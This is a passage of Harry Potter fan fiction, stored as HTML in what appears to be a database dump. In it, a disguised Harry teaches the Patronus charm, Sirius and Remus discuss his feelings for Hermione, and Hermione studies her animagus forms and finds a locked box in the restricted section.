style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Very well, Miss Granger. Twelve\nshapes are amazing. Especially the dragon, the unicorn, the abraxan and the\ngraphorn. Indeed, I think I read somewhere that people who can change into a\nwinged horse also can vary which breed they want to change into. Which means\nthat you probably can change into an aethonan, a granian and a thestral too. So\nthat is fifteen shapes.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">He chuckled at the three&#8217;s amazement.\n&#8220;But of course, the abraxan will always be the easiest one to transform to of\nthe four, and you will have to complete that before even thinking about any of\nthe other winged horses. It isn&#8217;t even certain you can do it. I hope you can\nthough. I have always been interested in the thestral; a beautiful creature.&#8221;\nHe seemed lost in thought for a minute, before he snapped back to reality. &#8220;But\nanyway, I&#8217;ve written a description of all of your shapes here on this paper.&#8221; <i style="mso-bidi-font-style:normal">Ah-ha! That </i>was<i style="mso-bidi-font-style:\nnormal"> what he was doing! </i>Hermione thought to herself. &#8220;You have to read\nit carefully. It is fortunate that you have two experts with you; Minerva and\nMr. Black,&#8221; he smiled at her, and Hermione barely managed to hide that her\nknees were about to fold. Luckily he turned back to examine the paper. &#8220;Indeed,\nthis is very impressive. We have just proven that you&#8217;re very powerful.&#8221; He\nshook his head slightly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Okay. Professor McGonagall and Mr.\nBlack are going to help you; they will explain everything to you. I trust you\nto do your best.&#8221; He said, before he handed McGonagall what he&#8217;d written, and\nleft, claiming that he had assignments to grade. Hermione spent the rest of the\nevening with Sirius and McGonagall, and eagerly listened to everything they\ntold her. It was a great evening, despite the fact that being in the same room\nas Sirius, Harry&#8217;s godfather, was a bit disturbing.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">~*~</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry was smiling to himself, and\nhardly grading anything at all. Hermione had practically been bouncing up and\ndown, and it was a long time since he&#8217;d seen her that happy. He shook his head,\nstill smiling. He was happy too, because he&#8217;d been a lot of different animals,\nand every time it was just as amazing. He especially loved being a bird, or\nsome animal with wings, and if it was a fire animal with wings, it was even\nbetter. Being a tree or a plant wasn&#8217;t so bad either, and it was great for\nspying.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">His thoughts travelled back to\nHermione. She was indeed powerful, and though she still hadn&#8217;t reached his\nlevel, and wouldn&#8217;t reach it for a long time yet, she&#8217;d accomplished much in\nonly a few months. However, she hadn&#8217;t yet managed to <i style="mso-bidi-font-style:\nnormal">invent </i>something, or do something different. Until now she&#8217;d just\ncopied spells, charms, curses and jinxes, and she still had to learn illusions\nand transfiguration. However, he couldn&#8217;t exactly blame her, as it had taken\nhim five years to figure out illusions, and he hadn&#8217;t started to get the hang\nof transfiguration until the end of his first year at Hogwarts. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">He sighed. If he&#8217;d revealed himself\nto her in the beginning, she would have accomplished more. If they had worked\nas the Pectal and the Citatio, she would probably have been working on\ntransfiguration now. It was not that it required much power, it was just that\nHermione didn&#8217;t know how to do it. He did, and he could have showed her, if he\nonly had the courage to tell her. For he realised now, it was only a matter of\ncourage. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">It was his belief, that the Citatio\nwas born with the full extent of his power inside of him, so he could use the\nyears until he found the Pectal to train himself, and learn how to use the\npowers. That way, only one had to go through the difficult process of\nself-training, as the Citatio could teach the Pectal. The Pectal was also born\nwith the Power, though not all of it.&nbsp; It grew throughout her whole childhood,\nand then, when it reached the full extent, or when it grew to such strength\nthat it couldn&#8217;t be hidden anymore, the Pectal would &#8216;awaken&#8217;, like Hermione\ndid. Harry didn&#8217;t know why the Citatio was born with full Powers, and not the\nPectal, but he suspected that it was because men <i>are</i> physically stronger\nthan women. It wasn&#8217;t sexism, but a fact, and perhaps, because of this, nature\nthought a man would be more capable of controlling the Power at a young age. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">It was the way it was, and nothing\ncould be done with that, and Harry was painfully aware that he made Hermione&#8217;s\ntraining more painful &#8211;both emotionally, physically and mentally- and more\ndifficult than it had to be. And he hated himself for it. Maybe the Pectal and\nthe Citatio weren&#8217;t destined to be together; maybe they just became so close\nduring the training that they never could think about living without each\nother, and <i>therefore </i>always ended up as a couple. <i>Well,</i> Harry\nthought mournfully, as he went back to grade the tests. <i style="mso-bidi-font-style:\nnormal">Then I&#8217;ve ruined my chances pretty nicely.</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">~*~</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione had to work hard to conceal\nher excitement that evening, when she came back to the Gryffindor Common Room.\nShe couldn&#8217;t remember being that high since before Harry left, and she and Ron\nstarted to slide apart. It seemed like it was Harry who kept them together. But\nshe refused to think about that now, as Professor McGonagall had told her that\nbecause of her powers she would probably manage to complete two or three of her\nforms before she graduated. Usually it took three to four months to complete a\nform, because so much could go wrong during the process. But yet, Professor\nMcGonagall meant that she could manage two or three forms by the time &#8216;normal&#8217;\npeople managed one. Of course, &#8216;normal&#8217; people didn&#8217;t have more than one form,\nanyway &#8230; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione lay awake for the better\npart of the night, excited as she was. As she stared out of the window, she\ncould see a white winged horse. No, two winged horses, and one of them was\nblack. A thestral. That was an omen of bad luck, wasn&#8217;t it? And what were two\nwinged horses doing at Hogwarts? Then the black one became Professor Atos, but\nthat was ridiculous. And he had golden eyes. <i>How weird,</i> Hermione\nthought, and suddenly he had black hair and green eyes, but how could she see\nthat, when everything was hidden by a golden mask?</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione slept.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">~*~</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I just cannot understand it. Why\ndoesn&#8217;t he tell her? Today would&#8217;ve been a perfect opportunity.&#8221; Sirius was\nback in the room where he slept when he visited Hogwarts, and shared his\nfrustrations with Remus. Remus sighed. Why couldn&#8217;t Sirius stop being so dense!\nHe obviously hadn&#8217;t seen the way &#8216;Christian&#8217; looked at Hermione when he saw\nher. Of course, he was very good at hiding it, but Remus had had a suspicion\nalready when he revealed himself to them in Dumbledore&#8217;s office, and since then\nhe had almost followed his every step, trying to find out if he was right or\nnot. And it had paid off. He noticed that every time &#8216;Christian&#8217; looked at the\ngirl, his eyes misted over, his mouth curled into a slight smile for a second,\nbefore he frowned, sighed and went back to whatever he was supposed to do. The\nboy was helplessly falling for a girl he was sure he couldn&#8217;t get, and Remus\ndidn&#8217;t think Hermione would forgive him for having tricked her.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Sirius, listen to me,&#8221; he said. It\nwas time to tell Sirius what he didn&#8217;t see. &#8220;Your godson is afraid of telling\nher. It has nothing to do with &#8216;the right moment&#8217;.&#8221; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Sirius looked curiously at him.\n&#8220;Afraid? Why?&#8221; God, he was completely clueless. Well, he couldn&#8217;t be blamed,\nreally, as he&#8217;d just found his godson again, and was busy trying to be his\n&#8216;father&#8217;, as he was supposed to do.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;He likes her.&#8221; Remus said. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Sirius&#8217;s eyes widened. &#8220;Oh.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Oh? Is that all you have to say?&#8221;\nRemus raised his eyebrows. &#8220;Your godson is falling for a girl who doesn&#8217;t know\nwho he is, he&#8217;s firm in the belief that she will hate him when he reveals\nhimself to her, and the chances of her returning his feelings are about one in\na hundred. And you say &#8216;oh&#8217;? He&#8217;s miserable because of her, and you, as his\ngodfather haven&#8217;t even noticed.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Sirius rubbed his temples. &#8220;You&#8217;re\nsure?&#8221; he asked.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Positive.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;The boy&#8217;s in deep shit.&#8221; Sirius\nsaid, sighing. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Remus slumped into a chair.\n&#8220;Couldn&#8217;t have said it better myself.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">~*~</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Good morning,&#8221; Christian said jovially\nas he entered the classroom. It was Monday morning, two weeks and two days\nafter the attack, and he had sixth year Gryffindor and Ravenclaw first thing.\nHe was in a good mood, as today&#8217;s paper, written by Marice Newman, had revealed\ndifferent bad secrets about Lucius Malfoy, and complimented Arthur Weasley in\nevery way. He didn&#8217;t care if it was true or not, as long as Malfoy didn&#8217;t\nbecome the Minister. This time it had been about his son, Draco Malfoy, who had\ndisappeared after the attack. Lucius had managed to cover this quite well, but\nMarice managed to blow it up with a single headline. There had been an article\nabout Lucius being sacked as a school governor too, earlier this week,\nsomething that satisfied Harry greatly. Somehow, he suspected that Dumbledore\nhad a part in this, because he and McGonagall seemed so self-satisfied when it\nwas brought up during the last staff meeting. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Snape could report that Voldemort\nhad been positively livid with them (he hadn&#8217;t been there himself, something\nHarry was extremely grateful for) and more than one had suffered under the\nCruciatus. Snape had escaped together with the rest of the Death Eaters when\nthe Aurors arrived, and no one had questioned his loyalty yet, though it was\nobvious that Voldemort didn&#8217;t trust him, as he hadn&#8217;t used him to get into\nHogwarts, but Draco. Snape was terrified at what would happen if he were\ndiscovered. Spies didn&#8217;t live for long.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">The Death Eater students had been\ntaken care of, though no one would be sent to Azkaban, as half of the Dementors\nhad joined Voldemort, and the other half had been destroyed. The prisoners had\nbeen sent to a new prison, built by the giants, and enchanted by some of the\nmost powerful spellcasters, including Dumbledore. The guards were humans and\nsome giants who had joined the light side, and the youths would be sent there.\nThe youngest was only fourteen years old, a Hufflepuff, and the teachers were\nhorrified. Four Slytherins, two Hufflepuffs, two Ravenclaws, and one Gryffindor\nhad been arrested, and Malfoy was missing. Who knew if any of the other\nstudents were Death Eaters as well? </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">But the thing that worried him the\nmost, was that the whole staff now knew that Hermione was a Pectal, and that\nwas not good. If some of the other students were Death Eaters, they probably\nknew too.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Christian shook himself out of his\nthoughts and turned to the class. He&#8217;d decided to teach them the Patronus charm\ntoday, and for that he&#8217;d brought a boggart, as his boggart was a Dementor, so\nthe students could practice on this. He remembered his lessons with Remus, and\nhad to smile at the memory.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Today class, you&#8217;ll learn to fend\noff a Dementor. Does someone know how to do this?&#8221; he said, and raised an\neyebrow when no hands came up. &#8220;No one knows?&#8221; Still no hands. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Well, as you all know, a Dementor\nmakes you remember all of your worst memories; when someone close to you died;\nthe fight you had with your girlfriend or boyfriend; the howler you got from\nyour mum, and so on. But that is not the only thing they do, because if they\nget the chance, they will suck your soul out, and leave your body as an empty\nshell.&#8221; He talked about Dementors for a good five minutes, before he came to\nhow to defend yourself against it.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;There is one charm that can drive\noff a Dementor, and it is called the Patronus charm. All you have to do, is to\nfocus on a good memory, and speak the incantation, which is Expecto Patronum.&#8221;\nHe turned to the trunk he&#8217;d brought. &#8220;This is a boggart, and I&#8217;m going to\ndemonstrate a Patronus for you,&#8221; he said, and Ginny&#8217;s hand shot up. &#8220;Ms\nWeasley?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Professor, why are you going to\ndemonstrate on a boggart?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Because my boggart is a Dementor,&#8221;\nhe told her, and with a flick of his wand the trunk sprung open, and a\nblack-clad Dementor stood in front of him. He heard his parents screams in his\nhead, he heard Voldemort laugh, he saw Cedric, and heard his voice. <i style="mso-bidi-font-style:normal">&#8220;Wands out, you reckon?&#8221;</i> Then it was\nColin, in a pool of blood. And Hermione. <i>&#8220;He killed him. Harry killed him. </i>Dumbledore.\n<i style="mso-bidi-font-style:normal">&#8220;I&#8217;m afraid he did, Miss Granger. But now\nyou must leave. Mr. Potter will be taken to Azkaban.&#8221;</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Expecto Patronum!&#8221; He yelled, and a\nbright silver creature sprang out of his wand. Quickly he used his Citatio\nPowers and with an illusion disguised his stag as a lion. He had charmed his\neyes beforehand of course, so the students wouldn&#8217;t see when they turned gold.\nTo let his students know that his Patronus was a stag was equal to going and\ntelling Hermione and Ron that he was Harry Potter. Telling his students that he\nhad a Dementor as a boggart was dangerous too, but he took that chance. The\nstudents needed the practice, and the best thing to practice on was a Dementor.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">The &#8216;lion&#8217; charged at the Dementor,\nwho cowered backwards. Another flick of his wand, and the boggart was back in\nthe trunk. He turned back to the class, made them go two and two together and\npractise the spell. You didn&#8217;t have to have a Dementor to practise it, but he\nplanned to have them practise on one, when they had learnt it.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Suddenly, he stumbled. He managed to\nrestrain himself from clutching his head, but had to grip the table to remain\nstanding. He gasped. Why now, of all times! Unfortunately, the class noticed.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Professor,&#8221; a Ravenclaw asked. &#8220;Are\nyou okay?&#8221; Christian gritted his teeth, and managed to straighten up.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Not exactly, Mr. Levard. It must be\nsome after effects of what happened two weeks ago. I&#8217;m afraid I cannot continue\nthis lesson. Class dismissed, please go to your common rooms and stay there\nuntil next lesson.&#8221; With that, he slipped out of the door, and his class got\nbusy gathering their stuff. He knew the classroom next door was empty, and\nmanaged to get in there. He faded into unconsciousness as the pain in his scar\n(or where the scar used to be when he was Harry) threatened to split his skull\nopen.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">~*~*~</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><i style="mso-bidi-font-style:normal">&#8220;Crucio!&#8221; </i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><i>Someone screamed. Loudly. Then, the\nscreaming subsided. A voice spoke. </i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><i>&#8220;One little girl. One little boy.\nAnd you didn&#8217;t manage. You&#8217;ve lost half of the trainees who attend Hogwarts.&#8221;\nThe voice was low and dangerous. Crimson red eyes gleamed in the darkness.\nThere was a pause. &#8220;Anyway, we&#8217;ll soon be strong enough to attack even more\nopenly. First goes the Ministry. You should be glad, Luciusss, that you&#8217;ve\nruined your chances to get that particular position as the Minister&#8230;&#8221; Voldemort\npurred softly. Lucius Malfoy shivered. &#8220;And this Atos.&#8221; He spat the name out.\n&#8220;I want him dead. I&#8217;ve waited too long for you, Harry Potter. When I take\nHogwarts, you will be the first to die.&#8221; An evil cackle. &#8220;No, wait. The last to\ndie is more appropriate. Yesss. That shall be the bessst moment of my lifffe!\nAnd Nagini will find a way. Yes, she will&#8230;&#8221;</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">~*~*~</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">=====================</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><b>Disclaimer:</b> Duh&#8230;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><b>Now, many of my reviewers have asked\nwhy I have only seven (now eight) chapters at portkey.org, while I have ten on\nfanfiction.net. The answer is simple: I already had nine chapters at\nfanfiction.net when I started to post at portkey, and then I decided it would\nbe a good time to go through all my chapters, correct mistakes and make the\nwhole thing easier to read. This takes a bit time, especially as I&#8217;ve currently\ncompleted my eleventh chapter (I just sent it off to my beta) and man! That was\nsooo difficult to write!!! So getting the chapters up at portkey wasn&#8217;t (until\nrecently) very high on my to-do list. Sorry about that, I promise they will all\nbe up in a day or two, and chapter eleven will come out on both pages on the\nsame day. I hope that explains it.</b></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">All the animals are &#8216;real&#8217;. The\nmagical animals I mentioned is in the Harry Potter Lexicon, and probably in\nFantastic Beasts and Where to Find Them too.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><b><i>Horses</i></b><i>, <b>Winged</b>: </i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><b><i>Abraxan</i></b><i>: powerful, giant Palominos\n(probably what pulled the Beauxbatons carriage)</i> &#8211; <b><i>Aethonan</i></b><i>: chestnut, popular\nin Britain and Ireland &#8211; <b>Granian</b>: grey, fast &#8211; <b>Thestral</b>: black,\ncan become invisible, considered unlucky.</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">(The Harry Potter Lexicon, horses,\nwinged) </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><b><i>Graphorn</i></b><i>: </i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><i>A large, grayish-purple creature\nwhich lives in the mountains of Europe. Graphorns have two extremely sharp\nhorns. They are extremely dangerous animals. Graphorn horns are useful for\npotions and Graphorn hide is even tougher than dragons&#8217; and also repels spells.</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">(The Harry Potter Lexicon,\nGraphorn.)</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><b><i style="mso-bidi-font-style:normal">Kneazle</i></b><i style="mso-bidi-font-style:normal">:</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><i style="mso-bidi-font-style:normal">Cat-like creature, very intelligent. The Kneazle can detect unsavoury or\nsuspicious persons very well and will react badly to them. However, if it takes\na liking to a Witch or Wizard, it makes an excellent pet. The Kneazle has\nspotted fur, large ears, and a lion-like tail.</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">(The Harry Potter Lexicon, Kneazle.)<i style="mso-bidi-font-style:normal"></i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><b><i style="mso-bidi-font-style:normal">Dragon:</i></b></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><i style="mso-bidi-font-style:normal">Dragons, large flying reptiles which breath fire, are some of the most\nawe-inspiring and dangerous of all magical beasts. There are ten varieties of\ndragons today: Antipodean Opaleye, Chinese Fireball, Common Welsh Green,\nHungarian Horntail, Norwegian Ridgeback, Peruvian Vipertooth, Romanian\nLonghorn, Swedish Short-Snout, Ukrainian Ironbelly, Hebridian Black.</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">(The Harry Potter Lexicon, Dragon.)</p>\n\n\n\n\n\n\n'),
	(234, 9, ' <p><b>Chapter Nine: Untold Truths</b>\n\n</p>\n\n<blockquote>His head ached. He tried to open his eyes, and moaned in pain. For a second, he wondered where he was, before the memories came flooding back. He groaned again. Blasted Voldemort! He was planning something, that much was sure. And he couldn&#8217;t count on his foresight. <i>Can I ever?</i> He thought morosely. He managed to get up into a sitting position, and glanced at his clock. He&#8217;d been out for ten minutes, so it wasn&#8217;t likely that anyone had noticed his absence. And if someone had, he could only tell them that he&#8217;d felt like he was going to pass out, and didn&#8217;t like the idea of doing it in front of the whole class, so he&#8217;d found an empty classroom. And currently he was on very good terms with the Aurors, as he was the one who had found out how to block the killing curse, so the ones who were guarding the castle probably wouldn&#8217;t bother him much. Except if they wanted to ask him &#8211;for the thousandth time- if he had a block for the Cruciatus too. Which he had, of course, since he as a Citatio could absorb it and send it back out again. It wasn&#8217;t so powerful that this was impossible, unless it was cast by Dumbledore or Voldemort. Or Hermione. But he couldn&#8217;t tell the Aurors that.</blockquote>\n\n<blockquote>Cursing Voldemort in different terms, and showing off quite a colourful language, he decided he had to talk to Dumbledore. Voldemort most likely had a plan, as he after all had waited sixteen years, and the last failed attack would probably not rock his plans in the slightest. He had a suspicion that this attack had been an impulse, an almost desperate attempt to get Hermione. Unfortunately, it was the ever-present \'almost\'. However, the worst thing was that he knew where Harry was, and who he was pretending to be, as well as knowing about Hermione. <i>Well, he probably won\'t tell it to the press, so there I&#8217;m safe. It is more likely that he&#8217;s going to hatch a plan to get &#8216;Christian&#8217; in a bad light. Maybe get him charged for murder.</i> Harry thought sarcastically, and was in fact thankful that Dumbledore had discovered who he was, as he no longer was alone in it. He didn&#8217;t have to go carrying his sinister secrets alone anymore. He could count on Sirius and Remus&#8217;s help too, though Sirius was busy with helping Hermione with her animagus forms, and he was excited as a child about her progress. Yesterday, he&#8217;d been talking constantly about how quickly she learned, until Harry dryly commented that he&#8217;d make a great teacher. Then he&#8217;d shut up quickly, leaving Harry and Remus snickering. </blockquote>\n\n<blockquote>He didn&#8217;t really know what Remus had thought about him being charged, as he hadn&#8217;t been in England when it happened. He had probably, though maybe not at the bottom of his heart, believed in the charges. Frankly, Harry didn&#8217;t care. He wanted to trust the werewolf, and what he didn&#8217;t know, couldn&#8217;t kill him. Well, okay, it could, but that was beside the point.</blockquote>\n\n<blockquote>After the attack they&#8217;d increased the number of Hermione&#8217;s lessons, so now she had training sessions on Saturday, Sunday, Tuesday and Thursday. It was tiresome, but Harry knew she could manage. However, he was worried because of her progress. Even though she progressed quickly, she didn&#8217;t progress quickly enough. It was weird really. He&#8217;d been worried that she might become more powerful than he was because he saw her progressing so fast. Now he was worried because she didn&#8217;t progress fast enough.</blockquote>\n\n<blockquote>If only he knew more! He was probably the person on earth who knew most about Pectals and Citatios, but yet he didn&#8217;t know much. Not as much as he needed. He didn&#8217;t know if Hermione&#8217;s progress was normal or not. By the way, of course it wasn&#8217;t, as she was supposed to be trained by a Citatio, and not a wizard. He didn&#8217;t know how to tell how powerful she was, or how powerful he was, or if either of them was more powerful than the other. The first few months he&#8217;d been worried that she would be the more powerful one, which would give her an advantage, but he wasn&#8217;t so sure any longer. After all, he hadn&#8217;t known half of the things he&#8217;d told Hermione, when they had first met. In fact, he hadn&#8217;t known what he was until his second year at Hogwarts. But however it was, advantage or not, it didn&#8217;t bother him anymore.</blockquote>\n\n<blockquote>Startled, he suddenly noticed that he stood in front of the entrance to Dumbledore&#8217;s office. He&#8217;d been so deep in his thoughts that he hadn&#8217;t realised that his legs were carrying him here. He sighed and spoke the password. <i>I&#8217;m too young for this.</i></blockquote>\n\n<blockquote>~*~</blockquote>\n\n<blockquote>Hermione had had some weird dreams lately, all of them containing Harry or Professor Atos, though only a few were of the embarrassing kind she&#8217;d experienced earlier. She didn&#8217;t know if she should be relieved or not, because the new dreams were just confusing. She also had dreams about things that had happened. She had dreamt about when she discovered her Water-Manipulation, about her first lesson with Professor Atos, etc. etc. And then of course; the embarrassing, fluffy ones. And yet, she always felt rested when she woke up, even if the dream had been a scary nightmare. It was so confusing!</blockquote>\n\n<blockquote>Hermione sighed, and focused on her Telekinesis Talent, and the sheet of paper came flying towards her. She was becoming quite good at it now. The sheet was something Professor Atos had found for her, and on top of the page you could read: <i>The Pectal.</i> It was less than one page. Christian had been honest when he said there existed very little information on Pectals.</blockquote>\n\n<blockquote><i>&#8216;The Pectal (Pek-tal)</i></blockquote>\n\n<blockquote><i>The Pectal is always a female. Just like the Citatio she always has blue eyes, and she is very powerful, though her husband, who always is a Citatio is more powerful. Her eyes shine silver when she uses her power, while the Citatio&#8217;s shine gold.</i></blockquote>\n\n<blockquote><i>It is uncertain whether or not a Pectal is born about the same time as a Citatio, or if there can be more than one Citatio or Pectal at the same time. However, the Pectal needs the Citatio to survive, so it is likely that a Pectal cannot be born without a Citatio being born within a few years before or after.&#8217;</i></blockquote>\n\n<blockquote>Hermione gritted her teeth. The whole text, which was ridiculously short, oozed of sexism, and was wrong in more than one place. <i>&#8216;She always has blue eyes.&#8217; Yeah, right,</i> Hermione thought to herself. <i>Just like the Citatio?</i> She growled. The scripts were so confusing, and didn&#8217;t agree with each other. One said the Citatio had green eyes, another one red, while this one said blue. Harry&#8217;s eyes were green. He was the Citatio, she was sure of it. And her eyes were brown, dammit! Not blue! And the sentence: <i>&#8216;Her husband, who always is a Citatio is more powerful&#8217;, </i>sent Hermione into a fit of anger<i>. </i>How could the author of this piece of crap, whoever it was, know that?</blockquote>\n\n<blockquote>And that rubbish about the Pectal being unable to survive without a Citatio. She was still alive, wasn&#8217;t she? But yet, she hadn&#8217;t yet managed to make any illusions, or charm anything with her Power. The only things she managed so far, were curses, hexes, shields and jinxes. Professor Atos said she&#8217;d come a long way, but there was still so far to go! Hermione couldn&#8217;t see the end of it, and right now she was tired, pissed off and bored. So therefore, she went back to her favourite hobby: reading. As long as it wasn&#8217;t something as confusing and mind-boggling as the Pectal stuff, she&#8217;d manage. Besides, she had a history essay to write.</blockquote>\n\n<blockquote>~*~</blockquote>\n\n<blockquote><i>&#8216;Ancient History&#8217;,</i> by <i>Frank O&#8217;Shea</i>. Hermione picked it out of the shelves<i>. &#8216;Old Prophecies&#8217;</i>, by <i>Cecilia Nensh.</i> Hermione snorted. Divination wasn&#8217;t something she believed in. She&#8217;d searched the shelves for hours, trying to find something to write about. They were supposed to choose a time-period and write about important happenings in that time. Yet, Hermione hadn&#8217;t found anything useful. She sighed. The essay was due in a week, so she had to get started. Should she try the restricted section? As Head-Girl, she had free entrance. Well, she&#8217;d nothing to lose.</blockquote>\n\n<blockquote>Three hours later, and Hermione still had found nothing. She was as far into the restricted section as she could go, covered in dust and spiders&#8217; webs. <i>Thank God Ron isn&#8217;t here.</i> She thought. <i>He&#8217;d go nuts.</i> She was about to give up, when a small, thin book caught her attention. Unlike many of the other books in this section, it had a title. The title was in giantish runes, but they had covered those last year, in Ancient Runes, so Hermione had no problems understanding it. <i>&#8216;The Era Of The Chiantesh&#8217;alfh&#8217;</i>, it read. Hermione frowned. <i>&#8217;Chiantesh&#8217;alfh\'</i>? That sounded familiar, but she couldn&#8217;t pin-point it. And why was half the title English, and the other half something absolutely not English? </blockquote>\n\n<blockquote>She reached up to take the book out of the shelf. It wouldn&#8217;t budge. She tried again. The book stood still. She removed the books on either side, and tried again, but it stood as still as ever. Hermione sighed. </blockquote>\n\n<blockquote>A small &#8216;click&#8217;. The book disappeared into the back of the shelf. Hermione jumped. The whole shelf slid to the right, into the wall, and revealed a small compartment. Hesitantly, she stuck her hand in, and grabbed onto something. She withdrew her hand, together with a big, black box. She reached in to check if there was anything else in there. There was not. She took a step back, and the shelf slid back. The book: <i>&#8216;The Era Of The Chiantesh&#8217;alfh</i>, was gone.</blockquote>\n\n<blockquote>~*~</blockquote>\n\n<blockquote>&#8220;Alohomora!&#8221; Hermione growled. It was the tenth time she&#8217;d tried the unlocking charm, and it had annoyingly little effect, which meant it had no effect at all. She decided to give up the unlocking charm, and try other charms instead. There had to be some more powerful unlocking charms somewhere. But, alas, after three hours of research, she had found nothing that could help her. Of course, she&#8217;d found at least ten different unlocking charms, but none of them were able to unlock the box. Then it hit her. She could try to open it with her Powers! Sometimes it was difficult to remember that she was a Pectal. She focused on the lock. It was a simple lock, with a keyhole, but no key. Silvery threads started to form out of thin air, into something that resembled a key. Carefully, Hermione moved the threads into the hole, and she allowed the threads to fill the empty spaces, before she froze them. Excitedly, she turned the now stiff key, and with a small &#8216;click&#8217;, the lid sprung open.</blockquote>\n\n<blockquote>An old, dusty smell emitted from the box, as Hermione tried to find out what it contained. It turned out to be two leather-bound books, and though they had to be very old, they were very well preserved. Preserving charms, Hermione guessed. She could also sense 